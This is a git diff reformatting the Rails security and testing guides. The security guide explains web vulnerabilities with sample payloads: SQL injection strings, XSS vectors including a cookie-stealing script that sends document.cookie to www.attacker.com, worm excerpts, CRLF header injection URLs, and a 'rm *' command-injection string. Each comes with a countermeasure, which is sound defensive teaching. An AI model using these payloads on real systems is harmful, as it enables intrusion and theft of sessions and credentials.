send_file filename, :disposition => 'inline'
-</ruby>
+```
Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
@@ -372,30 +372,30 @@ WARNING: _Without any precautions +Model.new(params[:model]+) allows attackers t
The mass-assignment feature may become a problem, as it allows an attacker to set any model's attributes by manipulating the hash passed to a model's +new()+ method:
-<ruby>
+```ruby
def signup
params[:user] # => {:name => “ow3ned”, :admin => true}
@user = User.new(params[:user])
end
-</ruby>
+```
Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the +new+ method, or +assign_attributes=+ a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
-<pre>
+```
http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
-</pre>
+```
This will set the following parameters in the controller:
-<ruby>
+```ruby
params[:user] # => {:name => “ow3ned”, :admin => true}
-</ruby>
+```
So if you create a new user using mass-assignment, it may be too easy to become an administrator.
Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, +has_and_belongs_to_many+). For example:
-<ruby>
+```ruby
class Person < ActiveRecord::Base
has_many :children
@@ -405,7 +405,7 @@ Note that this vulnerability is not restricted to database columns. Any setter m
class Child < ActiveRecord::Base
belongs_to :person
end
-</ruby>
+```
As a result, the vulnerability is extended beyond simply exposing column assignment, allowing attackers the ability to create entirely new records in referenced tables (children in this case).
@@ -413,36 +413,36 @@ h4. Countermeasures
To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example:
-<ruby>
+```ruby
attr_protected :admin
-</ruby>
+```
+attr_protected+ also optionally takes a role option using :as which allows you to define multiple mass-assignment groupings. If no role is defined then attributes will be added to the :default role.
-<ruby>
+```ruby
attr_protected :last_login, :as => :admin
-</ruby>
+```
A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
-<ruby>
+```ruby
attr_accessible :name
attr_accessible :name, :is_admin, :as => :admin
-</ruby>
+```
If you want to set a protected attribute, you will to have to assign it individually:
-<ruby>
+```ruby
params[:user] # => {:name => "ow3ned", :admin => true}
@user = User.new(params[:user])
@user.admin # => false # not mass-assigned
@user.admin = true
@user.admin # => true
-</ruby>
+```
When assigning attributes in Active Record using +attributes=+ the :default role will be used. To assign attributes using different roles you should use +assign_attributes+ which accepts an optional :as options parameter. If no :as option is provided then the :default role will be used. You can also bypass mass-assignment security by using the +:without_protection+ option. Here is an example:
-<ruby>
+```ruby
@user = User.new
@user.assign_attributes({ :name => 'Josh', :is_admin => true })
@@ -456,11 +456,11 @@ When assigning attributes in Active Record using +attributes=+ the :default role
@user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
@user.name # => Josh
@user.is_admin # => true
-</ruby>
+```
In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +update_attributes!+ methods all respect mass-assignment security and accept either +:as+ or +:without_protection+ options. For example:
-<ruby>
+```ruby
@user = User.new({ :name => 'Sebastian', :is_admin => true }, :as => :admin)
@user.name # => Sebastian
@user.is_admin # => true
@@ -468,13 +468,13 @@ In a similar way, +new+, +create+, <tt>create!</tt>, +update_attributes+, and +u
@user = User.create({ :name => 'Sebastian', :is_admin => true }, :without_protection => true)
@user.name # => Sebastian
@user.is_admin # => true
-</ruby>
+```
A more paranoid technique to protect your whole project would be to enforce that all models define their accessible attributes. This can be easily achieved with a very simple application config option of:
-<ruby>
+```ruby
config.active_record.whitelist_attributes = true
-</ruby>
+```
This will create an empty whitelist of attributes available for mass-assignment for all models in your app. As such, your models will need to explicitly whitelist or blacklist accessible parameters by using an +attr_accessible+ or +attr_protected+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to use this application config option; run your tests, and expose each attribute (via +attr_accessible+ or +attr_protected+) as dictated by your failing tests.
@@ -486,22 +486,22 @@ There are a number of authentication plug-ins for Rails available. Good ones, su
Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
-<plain>
+```
http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=
-</plain>
+```
This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
-<ruby>
+```ruby
User.find_by_activation_code(params[:id])
-</ruby>
+```
If the parameter was nil, the resulting SQL query will be
-<sql>
+```sql
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
-</sql>
+```
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
@@ -566,9 +566,9 @@ WARNING: _Tell Rails not to put passwords in the log files._
By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to <tt>config.filter_parameters</tt> in the application configuration. These parameters will be marked [FILTERED] in the log.
-<ruby>
+```ruby
config.filter_parameters << :password
-</ruby>
+```
h4. Good Passwords
@@ -588,38 +588,38 @@ INFO: _A common pitfall in Ruby's regular expressions is to match the string's b
Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:
-<ruby>
+```ruby
/^https?:\/\/[^\n]+$/i
-</ruby>
+```
This may work fine in some languages. However, _(highlight)in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems:
-<plain>
+```
javascript:exploit_code();/*
http://hi.com
*/
-</plain>
+```
This URL passes the filter because the regular expression matches – the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:
-<ruby>
+```ruby
link_to "Homepage", @user.homepage
-</ruby>
+```
The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.
To fix the regular expression, \A and \z should be used instead of ^ and $, like so:
-<ruby>
+```ruby
/\Ahttps?:\/\/[^\n]+\z/i
-</ruby>
+```
Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:
-<ruby>
+```ruby
# content should include a line "Meanwhile" anywhere in the string
validates :content, :format => { :with => /^Meanwhile$/, :multiline => true }
-</ruby>
+```
Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the *line* beginning and line end in Ruby, and not the beginning and end of a string.
@@ -629,15 +629,15 @@ WARNING: _Changing a single parameter may give the user unauthorized access. Rem
The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
-<ruby>
+```ruby
@project = Project.find(params[:id])
-</ruby>
+```
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
-<ruby>
+```ruby
@project = @current_user.projects.find(params[:id])
-</ruby>
+```
Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
@@ -672,15 +672,15 @@ h5(#sql-injection-introduction). Introduction
SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:
-<ruby>
+```ruby
Project.where("name = '#{params[:name]}'")
-</ruby>
+```
This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
-<sql>
+```sql
SELECT * FROM projects WHERE name = '' OR 1 --'
-</sql>
+```
The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.
@@ -688,15 +688,15 @@ h5. Bypassing Authorization
Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
-<ruby>
+```ruby
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
-</ruby>
+```
If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:
-<sql>
+```sql
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
-</sql>
+```
This will simply find the first record in the database, and grants access to this user.
@@ -704,22 +704,22 @@ h5. Unauthorized Reading
The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:
-<ruby>
+```ruby
Project.where("name = '#{params[:name]}'")
-</ruby>
+```
And now let's inject another query using the UNION statement:
-<plain>
+```
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
-</plain>
+```
This will result in the following SQL query:
-<sql>
+```sql
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
-</sql>
+```
The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.
@@ -731,15 +731,15 @@ Ruby on Rails has a built-in filter for special SQL characters, which will escap
Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this:
-<ruby>
+```ruby
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
-</ruby>
+```
As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result:
-<ruby>
+```ruby
Model.where(:login => entered_user_name, :password => entered_password).first
-</ruby>
+```
The array or hash form is only available in model instances. You can try +sanitize_sql()+ elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
@@ -765,36 +765,36 @@ The most common XSS language is of course the most popular client-side scripting
Here is the most straightforward test to check for XSS:
-<html>
+```html
<script>alert('Hello');</script>
-</html>
+```
This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
-<html>
+```html
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
-</html>
+```
h6. Cookie Theft
These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
-<plain>
+```
<script>document.write(document.cookie);</script>
-</plain>
+```
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
-<html>
+```html
<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
-</html>
+```
The log files on www.attacker.com will read like this:
-<plain>
+```
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-</plain>
+```
You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
@@ -802,9 +802,9 @@ h6. Defacement
With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
-<html>
+```html
<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>
-</html>
+```
This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
@@ -812,10 +812,10 @@ A more specialized attack could overlap the entire web site or display a login f
Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
-<plain>
+```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
-</plain>
+```
h6(#html-injection-countermeasures). Countermeasures
@@ -825,16 +825,16 @@ Especially for XSS, it is important to do _(highlight)whitelist input filtering
Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
-<ruby>
+```ruby
strip_tags("some<<b>script>alert('hello')<</b>/script>")
-</ruby>
+```
This returned "some&lt;script&gt;alert('hello')&lt;/script&gt;", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize():
-<ruby>
+```ruby
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
-</ruby>
+```
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
@@ -844,10 +844,10 @@ h6. Obfuscation and Encoding Injection
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
-<html>
+```html
<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;
&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;>
-</html>
+```
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":https://hackvertor.co.uk/public. Rails' sanitize() method does a good job to fend off encoding attacks.
@@ -857,11 +857,11 @@ _In order to understand today's attacks on web applications, it's best to take a
The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1 Yahoo! Mail "worm":http://groovin.net/stuff/yammer.txt. It appeared on June 11, 2006 and was the first webmail interface worm:
-<html>
+```html
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
-</html>
+```
The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
@@ -879,27 +879,27 @@ CSS Injection is explained best by a well-known worm, the "MySpace Samy worm":ht
MySpace blocks many tags, however it allows CSS. So the worm's author put JavaScript into CSS like this:
-<html>
+```html
<div style="background:url('javascript:alert(1)')">
-</html>
+```
So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
-<html>
+```html
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
-</html>
+```
The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:
-<plain>
+```
alert(eval('document.body.inne' + 'rHTML'));
-</plain>
+```
The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;NEWLINE&gt;script" to get around this:
-<html>
+```html
<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
-</html>
+```
Another problem for the worm's author were CSRF security tokens. Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
@@ -917,24 +917,24 @@ If you want to provide text formatting other than HTML (due to security), use a
For example, RedCloth translates +_test_+ to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4:
-<ruby>
+```ruby
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
-</ruby>
+```
Use the :filter_html option to remove HTML which was not created by the Textile processor.
-<ruby>
+```ruby
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
-</ruby>
+```
However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
-<ruby>
+```ruby
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
-</ruby>
+```
h5(#textile-injection-countermeasures). Countermeasures
@@ -954,10 +954,10 @@ If your application has to execute commands in the underlying operating system,
A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_.
-<ruby>
+```ruby
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
-</ruby>
+```
h4. Header Injection
@@ -968,30 +968,30 @@ HTTP request headers have a Referer, User-Agent (client software), and Cookie fi
Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
-<ruby>
+```ruby
redirect_to params[:referer]
-</ruby>
+```
What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
-<plain>
+```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
-</plain>
+```
And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:
-<plain>
+```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
-</plain>
+```
Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
-<plain>
+```
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
-</plain>
+```
So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the +redirect_to+ method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
@@ -999,7 +999,7 @@ h5. Response Splitting
If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
-<plain>
+```
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location:
Content-Type: text/html
@@ -1014,7 +1014,7 @@ Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
-</plain>
+```
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
@@ -1023,28 +1023,28 @@ h3. Default Headers
Every HTTP response from your Rails application receives the following default security headers.
-<ruby>
+```ruby
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
-</ruby>
+```
-You can configure default headers in <ruby>config/application.rb</ruby>.
+You can configure default headers in `config/application.rb`.
-<ruby>
+```ruby
config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}
-</ruby>
+```
Or you can remove them.
-<ruby>
+```ruby
config.action_dispatch.default_headers.clear
-</ruby>
+```
Here is the list of common headers:
* X-Frame-Options
diff --git a/guides/source/testing.md b/guides/source/testing.md
index 4faf59fad8..7b8a366192 100644
--- a/guides/source/testing.md
+++ b/guides/source/testing.md
@@ -31,11 +31,11 @@ h4. Rails Sets up for Testing from the Word Go
Rails creates a +test+ folder for you as soon as you create a Rails project using +rails new+ _application_name_. If you list the contents of this folder then you shall see:
-<shell>
+```shell
$ ls -F test
fixtures/ functional/ integration/ performance/ test_helper.rb unit/
-</shell>
+```
The +unit+ directory is meant to hold tests for your models, the +functional+ directory is meant to hold tests for your controllers, the +integration+ directory is meant to hold tests that involve any number of controllers interacting, and the +performance+ directory is meant for performance tests.
@@ -59,7 +59,7 @@ YAML-formatted fixtures are a very human-friendly way to describe your sample da
Here's a sample YAML fixture file:
-<yaml>
+```yaml
# lo & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
@@ -70,7 +70,7 @@ steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard
-</yaml>
+```
Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column.
@@ -78,13 +78,13 @@ h5. ERB'in It Up
ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:
-<erb>
+```erb
<% 1000.times do |n| %>
user_<%= n %>:
username: <%= "user%03d" % n %>
email: <%= "user%03d@example.com" % n %>
<% end %>
-</erb>
+```
h5. Fixtures in Action
@@ -98,7 +98,7 @@ h5. Fixtures are ActiveRecord objects
Fixtures are instances of ActiveRecord. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example:
-<ruby>
+```ruby
# this will return the User object for the fixture named david
users(:david)
@@ -107,7 +107,7 @@ users(:david).id
# one can also access methods available on the User class
email(david.girlfriend.email, david.location_tonight)
-</ruby>
+```
h3. Unit Testing your Models
@@ -119,18 +119,18 @@ NOTE: For more information on Rails <i>scaffolding</i>, refer to "Getting Starte
When you use +rails generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder:
-<shell>
+```shell
$ rails generate scaffold post title:string body:text
...
create app/models/post.rb
create test/unit/post_test.rb
create test/fixtures/posts.yml
...
-</shell>
+```
The default test stub in +test/unit/post_test.rb+ looks like this:
-<ruby>
+```ruby
require 'test_helper'
class PostTest < ActiveSupport::TestCase
@@ -139,19 +139,19 @@ class PostTest < ActiveSupport::TestCase
assert true
end
end
-</ruby>
+```
A line by line examination of this file will help get you oriented to Rails testing code and terminology.
-<ruby>
+```ruby
require 'test_helper'
-</ruby>
+```
As you know by now, +test_helper.rb+ specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.
-<ruby>
+```ruby
class PostTest < ActiveSupport::TestCase
-</ruby>
+```
The +PostTest+ class defines a _test case_ because it inherits from +ActiveSupport::TestCase+. +PostTest+ thus has all the methods available from +ActiveSupport::TestCase+. You'll see those methods a little later in this guide.
@@ -159,27 +159,27 @@ Any method defined within a +Test::Unit+ test case that begins with +test+ (case
Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. So,
-<ruby>
+```ruby
test "the truth" do
assert true
end
-</ruby>
+```
acts as if you had written
-<ruby>
+```ruby
def test_the_truth
assert true
end
-</ruby>
+```
only the +test+ macro allows a more readable test name. You can still use regular method definitions though.
NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need +define_method+ and +send+ calls, but formally there's no restriction.
-<ruby>
+```ruby
assert true
-</ruby>
+```
This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:
@@ -194,11 +194,11 @@ h4. Preparing your Application for Testing
Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands:
-<shell>
+```shell
$ rake db:migrate
...
$ rake db:test:load
-</shell>
+```
The +rake db:migrate+ above runs any pending migrations on the _development_ environment and updates +db/schema.rb+. The +rake db:test:load+ recreates the test database from the current +db/schema.rb+. On subsequent attempts, it is a good idea to first run +db:test:prepare+, as it first checks for pending migrations and warns you appropriately.
@@ -219,7 +219,7 @@ h4. Running Tests
Running a test is as simple as invoking the file containing the test cases through Ruby:
-<shell>
+```shell
$ ruby -Itest test/unit/post_test.rb
Loaded suite unit/post_test
@@ -228,13 +228,13 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
This will run all the test methods from the test case. Note that +test_helper.rb+ is in the +test+ directory, hence this directory needs to be added to the load path using the +-I+ switch.
You can also run a particular test method from the test case by using the +-n+ switch with the +test method name+.
-<shell>
+```shell
$ ruby -Itest test/unit/post_test.rb -n test_the_truth
Loaded suite unit/post_test
@@ -243,22 +243,22 @@ Started
Finished in 0.023513 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; when a test throws an error you see an +E+ in its place. The last line of the output is the summary.
To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case.
-<ruby>
+```ruby
test "should not save post without title" do
post = Post.new
assert !post.save
end
-</ruby>
+```
Let us run this newly added test.
-<shell>
+```shell
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite -e
Started
@@ -270,37 +270,37 @@ test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
<false> is not true.
1 tests, 1 assertions, 1 failures, 0 errors
-</shell>
+```
In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here:
-<ruby>
+```ruby
test "should not save post without title" do
post = Post.new
assert !post.save, "Saved the post without a title"
end
-</ruby>
+```
Running this test shows the friendlier assertion message:
-<shell>
+```shell
1) Failure:
test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]:
Saved the post without a title.
<false> is not true.
-</shell>
+```
Now to get this test to pass we can add a model level validation for the _title_ field.
-<ruby>
+```ruby
class Post < ActiveRecord::Base
validates :title, :presence => true
end
-</ruby>
+```
Now the test should pass. Let us verify by running the test again:
-<shell>
+```shell
$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
Loaded suite unit/post_test
Started
@@ -308,7 +308,7 @@ Started
Finished in 0.193608 seconds.
1 tests, 1 assertions, 0 failures, 0 errors
-</shell>
+```
Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD).
@@ -316,17 +316,17 @@ TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an
To see how an error gets reported, here's a test containing an error:
-<ruby>
+```ruby
test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
end
-</ruby>
+```
Now you can see even more output in the console from running the tests:
-<shell>
+```shell
$ ruby unit/post_test.rb -n test_should_report_error
Loaded suite -e
Started
@@ -339,7 +339,7 @@ NameError: undefined local variable or method `some_undefined_variable' for #<Po
/test/unit/post_test.rb:6:in `test_should_report_error'
1 tests, 0 assertions, 0 failures, 1 errors
-</shell>
+```
Notice the 'E' in the output. It denotes a test with error.
@@ -416,13 +416,13 @@ Now that we have used Rails scaffold generator for our +Post+ resource, it has a
Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+.
-<ruby>
+```ruby
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:posts)
end
-</ruby>
+```
In the +test_should_get_index+ test, Rails simulates a request on the action called +index+, making sure the request was successful and also ensuring that it assigns a valid +posts+ instance variable.
@@ -435,21 +435,21 @@ The +get+ method kicks off the web request and populates the results into the re
Example: Calling the +:show+ action, passing an +id+ of 12 as the +params+ and setting a +user_id+ of 5 in the session:
-<ruby>
+```ruby
get(:show, {'id' => "12"}, {'user_id' => 5})
-</ruby>
+```
Another example: Calling the +:view+ action, passing an +id+ of 12 as the +params+, this time with no session, but with a flash message.
-<ruby>
+```ruby
get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
-</ruby>
+```
NOTE: If you try running +test_should_create_post+ test from +posts_controller_test.rb+ it will fail on account of the newly added model level validation and rightly so.
